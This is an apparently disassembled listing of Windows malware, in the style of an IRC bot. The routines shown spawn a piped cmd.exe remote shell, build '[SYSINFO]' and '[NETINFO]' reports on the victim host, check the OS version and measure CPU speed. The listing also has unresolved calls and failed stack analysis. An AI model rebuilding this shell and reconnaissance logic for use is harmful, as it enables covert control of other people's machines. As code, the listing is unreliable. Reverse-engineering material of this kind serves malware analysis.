		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	dword_43F9B4
		nop
		call	near ptr 2780453h
		test	eax, eax
		jz	loc_40B4FD
		cmp	[ebp+var_4], edi
		jnz	short loc_40B492
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_43F9B0
		nop
		call	near ptr 2780000h
		test	eax, eax
		jz	short loc_40B488
		cmp	[ebp+var_8], 103h
		jnz	loc_40B521


loc_40B488:				; CODE XREF: sub_40B417+62j
		push	0Ah
		call	near ptr 260048Fh
		nop
		jmp	short loc_40B42F
; ---------------------------------------------------------------------------


loc_40B492:				; CODE XREF: sub_40B417+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_40B4A9


loc_40B499:				; CODE XREF: sub_40B417+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_40B4F7
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_40B499


loc_40B4A9:				; CODE XREF: sub_40B417+80j
		mov	[ebp+var_4], esi


loc_40B4AC:				; CODE XREF: sub_40B417+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_43F9B4
		nop
		call	near ptr 2630000h
		test	eax, eax
		jz	short loc_40B549
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	dword_43F9F4
		call	sub_40B390
		add	esp, 0Ch
		jmp	loc_40B42F
; ---------------------------------------------------------------------------


loc_40B4F7:				; CODE XREF: sub_40B417+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_40B4AC
; ---------------------------------------------------------------------------


loc_40B4FD:				; CODE XREF: sub_40B417+45j
		push	offset dword_42DC0C
		push	ebx
		push	dword_43F9F4
		call	sub_40B390
		push	[ebp+arg_0]
		call	sub_417076
		add	esp, 10h
		push	1
		nop
		call	near ptr 25F0278h


loc_40B521:				; CODE XREF: sub_40B417+6Bj
		call	sub_40B328
		push	offset dword_42DBD4
		push	ebx
		push	dword_43F9F4
		call	sub_40B390
		push	[ebp+arg_0]
		call	sub_417076
		add	esp, 10h
		push	edi
		nop
		call	near ptr 25F0278h


loc_40B549:				; CODE XREF: sub_40B417+C3j
		push	offset dword_42DB94
		push	ebx
		push	dword_43F9F4
		call	sub_40B390
		push	[ebp+arg_0]
		call	sub_417076
		add	esp, 10h
		push	edi
		nop
		call	near ptr 25F0278h
sub_40B417	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B56C	proc near		; CODE XREF: sub_40C351+99p
					; sub_40EE72+5772p

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_40B328
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aCmd_exe	; "cmd.exe"
		push	esi
		call	dword_43F724
		test	eax, eax
		jz	loc_40B666
		push	1
		lea	eax, [ebp+var_1C]
		pop	ebx
		mov	edi, dword_424140
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi
		test	eax, eax
		jz	loc_40B666
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi
		test	eax, eax
		jz	loc_40B666
		mov	edi, dword_42413C
		push	3
		push	esi
		push	esi
		push	offset dword_43F9B8
		call	edi
		push	eax
		push	[ebp+var_8]
		call	edi
		push	eax
		nop
		call	near ptr 2780785h
		test	eax, eax
		jz	short loc_40B666
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_417330
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_417330
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset byte_43C80C
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		nop
		call	near ptr 2760B39h
		test	eax, eax
		jnz	short loc_40B66E


loc_40B666:				; CODE XREF: sub_40B56C+2Fj
					; sub_40B56C+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_40B71C
; ---------------------------------------------------------------------------


loc_40B66E:				; CODE XREF: sub_40B56C+F8j
		push	[ebp+var_4]
		mov	edi, dword_424078
		call	edi
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_43F9B4, eax
		mov	eax, [ebp+var_8]
		mov	dword_43F9BC, eax
		mov	eax, [ebp+var_2C]
		mov	dword_43F9B0, eax
		call	edi
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_43F9F4, eax
		jz	short loc_40B6A8
		push	[ebp+arg_4]
		jmp	short loc_40B6A9
; ---------------------------------------------------------------------------


loc_40B6A8:				; CODE XREF: sub_40B56C+135j
		push	ebx


loc_40B6A9:				; CODE XREF: sub_40B56C+13Aj
		push	offset dword_43F9C0
		call	sub_4172AE
		pop	ecx
		pop	ecx
		push	esi
		push	7
		push	offset dword_42DC90
		call	sub_416D5A
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_4450C8[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_40B417
		push	esi
		push	esi
		nop
		call	near ptr 2680BE2h
		cmp	eax, esi
		mov	dword_4450D4[edi], eax
		jnz	short loc_40B71A
		call	near ptr 2650BAEh
		nop
		push	eax
		lea	eax, [ebp+var_378]
		push	offset dword_42DC4C
		push	eax
		call	sub_4172AE
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_40BF6D
		add	esp, 10h


loc_40B71A:				; CODE XREF: sub_40B56C+185j
		xor	eax, eax


loc_40B71C:				; CODE XREF: sub_40B56C+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B56C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B721	proc near		; CODE XREF: sub_407110+74p
					; sub_40B8D8+217p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		call	near ptr 25F07CDh
		nop
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_43F9FC
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_41782A
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40B721	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B78A	proc near		; CODE XREF: sub_409037+24p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		push	esi
		push	eax
		xor	esi, esi
		mov	[ebp+var_94], 94h
		nop
		call	near ptr 27A0000h
		test	eax, eax
		jz	short loc_40B81D
		cmp	[ebp+var_90], 4
		jnz	short loc_40B7F3
		cmp	[ebp+var_8C], esi
		jnz	short loc_40B7DB
		cmp	[ebp+var_84], 1
		jnz	short loc_40B7CE
		push	1
		pop	esi


loc_40B7CE:				; CODE XREF: sub_40B78A+3Fj
		cmp	[ebp+var_84], 2
		jnz	short loc_40B81D
		push	1
		jmp	short loc_40B81C
; ---------------------------------------------------------------------------


loc_40B7DB:				; CODE XREF: sub_40B78A+36j
		cmp	[ebp+var_8C], 0Ah
		jnz	short loc_40B7E8


loc_40B7E4:				; CODE XREF: sub_40B78A+78j
		push	2
		jmp	short loc_40B81C
; ---------------------------------------------------------------------------


loc_40B7E8:				; CODE XREF: sub_40B78A+58j
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_40B81D
		jmp	short loc_40B80D
; ---------------------------------------------------------------------------


loc_40B7F3:				; CODE XREF: sub_40B78A+2Ej
		cmp	[ebp+var_90], 5
		jnz	short loc_40B81D
		cmp	[ebp+var_8C], esi
		jz	short loc_40B7E4
		cmp	[ebp+var_8C], 1
		jnz	short loc_40B811


loc_40B80D:				; CODE XREF: sub_40B78A+67j
		push	3
		jmp	short loc_40B81C
; ---------------------------------------------------------------------------


loc_40B811:				; CODE XREF: sub_40B78A+81j
		cmp	[ebp+var_8C], 2
		jnz	short loc_40B81D
		push	7


loc_40B81C:				; CODE XREF: sub_40B78A+4Fj
					; sub_40B78A+5Cj ...
		pop	esi


loc_40B81D:				; CODE XREF: sub_40B78A+25j
					; sub_40B78A+4Bj ...
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40B78A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B822	proc near		; CODE XREF: sub_40B8D8+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h


loc_40B82A:				; CODE XREF: sub_40B822+2Fj
					; sub_40B822+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		nop
		call	near ptr 260048Fh
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	sub_419250
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_40B82A
		jb	short loc_40B859
		cmp	ebx, esi
		ja	short loc_40B82A


loc_40B859:				; CODE XREF: sub_40B822+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_4191D0
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_40B8CC
		jb	short loc_40B878
		cmp	esi, 50h
		jnb	short loc_40B87D


loc_40B878:				; CODE XREF: sub_40B822+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax


loc_40B87D:				; CODE XREF: sub_40B822+54j
		test	ecx, ecx
		ja	short loc_40B8CC
		jb	short loc_40B888
		cmp	esi, 47h
		jnb	short loc_40B88D


loc_40B888:				; CODE XREF: sub_40B822+5Fj
		push	42h
		xor	edx, edx
		pop	eax


loc_40B88D:				; CODE XREF: sub_40B822+64j
		test	ecx, ecx
		ja	short loc_40B8CC
		jb	short loc_40B898
		cmp	esi, 37h
		jnb	short loc_40B89D


loc_40B898:				; CODE XREF: sub_40B822+6Fj
		push	32h
		xor	edx, edx
		pop	eax


loc_40B89D:				; CODE XREF: sub_40B822+74j
		test	ecx, ecx
		ja	short loc_40B8CC
		jb	short loc_40B8A8
		cmp	esi, 26h
		jnb	short loc_40B8AD


loc_40B8A8:				; CODE XREF: sub_40B822+7Fj
		push	21h
		xor	edx, edx
		pop	eax


loc_40B8AD:				; CODE XREF: sub_40B822+84j
		test	ecx, ecx
		ja	short loc_40B8CC
		jb	short loc_40B8B8
		cmp	esi, 1Eh
		jnb	short loc_40B8BD


loc_40B8B8:				; CODE XREF: sub_40B822+8Fj
		push	19h
		xor	edx, edx
		pop	eax


loc_40B8BD:				; CODE XREF: sub_40B822+94j
		test	ecx, ecx
		ja	short loc_40B8CC
		jb	short loc_40B8C8
		cmp	esi, 0Ah
		jnb	short loc_40B8CC


loc_40B8C8:				; CODE XREF: sub_40B822+9Fj
		xor	eax, eax
		xor	edx, edx


loc_40B8CC:				; CODE XREF: sub_40B822+4Dj
					; sub_40B822+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40B822	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B8D8	proc near		; CODE XREF: sub_40EE72+59ECp

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset byte_43C80C
		mov	[ebp+var_CC], 94h
		nop
		call	near ptr 27A0000h
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_40B95F
		cmp	[ebp+var_C4], ebx
		jnz	short loc_40B93B
		cmp	[ebp+var_BC], 1
		jnz	short loc_40B925
		mov	[ebp+var_4], offset a95	; "95"


loc_40B925:				; CODE XREF: sub_40B8D8+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_40B9DA
		mov	[ebp+var_4], offset aNt	; "NT"
		jmp	short loc_40B9AB
; ---------------------------------------------------------------------------


loc_40B93B:				; CODE XREF: sub_40B8D8+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_40B94D
		mov	[ebp+var_4], offset a98	; "98"
		jmp	short loc_40B9A2
; ---------------------------------------------------------------------------


loc_40B94D:				; CODE XREF: sub_40B8D8+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_40B99B
		mov	[ebp+var_4], offset aMe	; "ME"
		jmp	short loc_40B9A2
; ---------------------------------------------------------------------------


loc_40B95F:				; CODE XREF: sub_40B8D8+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_40B99B
		cmp	[ebp+var_C4], ebx
		jnz	short loc_40B979
		mov	[ebp+var_4], offset a2k	; "2K"
		jmp	short loc_40B9A2
; ---------------------------------------------------------------------------


loc_40B979:				; CODE XREF: sub_40B8D8+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_40B98B
		mov	[ebp+var_4], offset aXp	; "XP"
		jmp	short loc_40B9A2
; ---------------------------------------------------------------------------


loc_40B98B:				; CODE XREF: sub_40B8D8+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_40B9A2


loc_40B99B:				; CODE XREF: sub_40B8D8+7Cj
					; sub_40B8D8+8Ej
		mov	[ebp+var_4], offset dword_42DDDC


loc_40B9A2:				; CODE XREF: sub_40B8D8+73j
					; sub_40B8D8+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_40B9DA


loc_40B9AB:				; CODE XREF: sub_40B8D8+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_40B9DA
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset dword_42DDD4
		push	eax
		call	sub_4172AE
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_40B9DA:				; CODE XREF: sub_40B8D8+54j
					; sub_40B8D8+D1j ...
		mov	ax, word_42DDD0
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_43F554
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_40BA13
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax


loc_40BA13:				; CODE XREF: sub_40B8D8+12Cj
		push	[ebp+arg_4]
		call	sub_40AEE0
		pop	ecx
		push	eax
		call	dword_43F6A8
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_43F620
		cmp	eax, ebx
		jz	short loc_40BA3C
		push	dword ptr [eax]
		jmp	short loc_40BA41
; ---------------------------------------------------------------------------


loc_40BA3C:				; CODE XREF: sub_40B8D8+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_40BA41:				; CODE XREF: sub_40B8D8+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_4172AE
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		nop
		call	near ptr 260051Fh
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset aDdMmmYyyy ; "dd:MMM:yyyy"
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		nop
		call	near ptr 2680000h
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		call	near ptr 2670000h
		nop
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		nop
		call	near ptr 27B0000h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_4192B8
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_40D12A
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_40B721
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		call	sub_40B822
		push	edx
		push	eax
		push	offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"...
		push	200h
		push	[ebp+arg_0]
		call	sub_41782A
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B8D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BB8C	proc near		; CODE XREF: sub_40EE72+4555p
					; sub_40EE72+5A1Dp

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		cmp	dword_43F750, 0
		jnz	short loc_40BBF8
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_43F538
		test	eax, eax
		jnz	short loc_40BBE1
		lea	eax, [ebp+var_8C]
		push	offset dword_42DE50
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx


loc_40BBE1:				; CODE XREF: sub_40BB8C+40j
		test	[ebp+var_C], 1
		jz	short loc_40BBEE
		push	offset dword_42DE48
		jmp	short loc_40BBF3
; ---------------------------------------------------------------------------


loc_40BBEE:				; CODE XREF: sub_40BB8C+59j
		push	offset off_42DE44


loc_40BBF3:				; CODE XREF: sub_40BB8C+60j
		lea	eax, [ebp+var_8]
		jmp	short loc_40BC10
; ---------------------------------------------------------------------------


loc_40BBF8:				; CODE XREF: sub_40BB8C+28j
		mov	esi, offset off_42DE40
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_4172AE
		pop	ecx
		lea	eax, [ebp+var_8C]
		pop	ecx
		push	esi


loc_40BC10:				; CODE XREF: sub_40BB8C+6Aj
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s	(%s). [IP Address"...
		push	200h
		push	[ebp+arg_0]
		call	sub_41782A
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_40BB8C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BC4B	proc near		; DATA XREF: sub_40EE72+4974o

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_42DF80
		call	sub_417330
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_417330
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_417330
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_417330
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	dword_43F570
		test	eax, eax
		jz	loc_40BDE5
		cmp	[ebp+var_34], ebx
		jbe	short loc_40BD22
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_418C10
		add	esp, 0Ch


loc_40BD22:				; CODE XREF: sub_40BC4B+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_40BD40
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_418C10
		add	esp, 0Ch


loc_40BD40:				; CODE XREF: sub_40BC4B+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_40BD5A
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_418C10
		add	esp, 0Ch


loc_40BD5A:				; CODE XREF: sub_40BC4B+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_40BD74
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_418C10
		add	esp, 0Ch


loc_40BD74:				; CODE XREF: sub_40BC4B+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	dword_43F618
		call	dword_43F63C
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_40BDFD
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	dword_43F630
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_40BE04
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_43F5E4
		test	eax, eax
		jz	short loc_40BDDE
		push	offset dword_42DF54
		jmp	short loc_40BE09
; ---------------------------------------------------------------------------


loc_40BDDE:				; CODE XREF: sub_40BC4B+18Aj
		push	offset unk_42DF08
		jmp	short loc_40BE09
; ---------------------------------------------------------------------------


loc_40BDE5:				; CODE XREF: sub_40BC4B+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_42DEDC
		push	eax
		call	sub_4172AE
		mov	esi, [ebp+var_C]
		pop	ecx
		pop	ecx
		jmp	short loc_40BE17
; ---------------------------------------------------------------------------


loc_40BDFD:				; CODE XREF: sub_40BC4B+153j
		push	offset unk_42DEA0
		jmp	short loc_40BE09
; ---------------------------------------------------------------------------


loc_40BE04:				; CODE XREF: sub_40BC4B+17Bj
		push	offset unk_42DE60


loc_40BE09:				; CODE XREF: sub_40BC4B+191j
					; sub_40BC4B+198j ...
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx


loc_40BE17:				; CODE XREF: sub_40BC4B+1B0j
		cmp	[ebp+var_1D4], ebx
		jnz	short loc_40BE42
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_40D679
		add	esp, 14h


loc_40BE42:				; CODE XREF: sub_40BC4B+1D2j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	esi
		call	dword_43F69C
		push	[ebp+var_4]
		call	dword_43F69C
		push	[ebp+var_1D8]
		call	sub_417076
		pop	ecx
		push	ebx
		nop
		call	near ptr 25F0278h
		pop	edi
		pop	esi
		pop	ebx
sub_40BC4B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BE75	proc near		; CODE XREF: sub_40EE72+448Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_444340
		mov	edi, 0B8h


loc_40BE89:				; CODE XREF: sub_40BE75+33j
		cmp	byte ptr [esi],	0
		jz	short loc_40BEAC
		push	[ebp+arg_0]
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40BEAC
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_444EC0
		jl	short loc_40BE89
		jmp	short loc_40BEEE
; ---------------------------------------------------------------------------


loc_40BEAC:				; CODE XREF: sub_40BE75+17j
					; sub_40BE75+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_444340[esi]
		push	ebx
		call	sub_417330
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_418C10
		push	9Fh
		lea	eax, dword_444358[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_418C10
		add	esp, 24h
